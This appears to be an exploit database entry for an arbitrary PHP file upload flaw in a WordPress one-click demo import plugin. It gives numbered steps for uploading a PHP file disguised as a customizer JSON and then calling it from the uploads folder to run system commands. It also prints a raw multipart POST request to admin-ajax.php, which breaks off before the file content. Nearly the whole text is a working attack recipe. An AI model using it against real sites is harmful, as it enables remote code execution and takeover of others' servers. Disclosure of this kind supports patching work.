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## https://sploitus.com/exploit?id=WPEX-ID:77A524D8-0B1A-407A-98D2-D8D0ED78FA0F
1. Go to Appearance » Import Demo Data » Manual demo files upload » Run "Choose a JSON file for customizer import" and import a PHP file.
2. Click Import Demo Data to upload the file.
3. Page returns a 500 error, but the PHP file has been saved in the uploads File Folder.
4. Access the URL to execute system commands the URL: https://example.com/wp-content/uploads/<year>/<month>/info.php 


POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localwp.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localwp.com/wp-admin/themes.php?page=pt-one-click-demo-import
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------9264893373035956623827474357
Content-Length: 1063
Origin: http://localwp.com
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Cookie: admin cookie

-----------------------------9264893373035956623827474357
Content-Disposition: form-data; name="action"

pmdi_import_demo_data
-----------------------------9264893373035956623827474357
Content-Disposition: form-data; name="security"

c34afc948b
-----------------------------9264893373035956623827474357
Content-Disposition: form-data; name="selected"

undefined
-----------------------------9264893373035956623827474357
Content-Disposition: form-data; name="content_file"

undefined
-----------------------------9264893373035956623827474357
Content-Disposition: form-data; name="widget_file"; filename="123.json"
Content-Type: application/json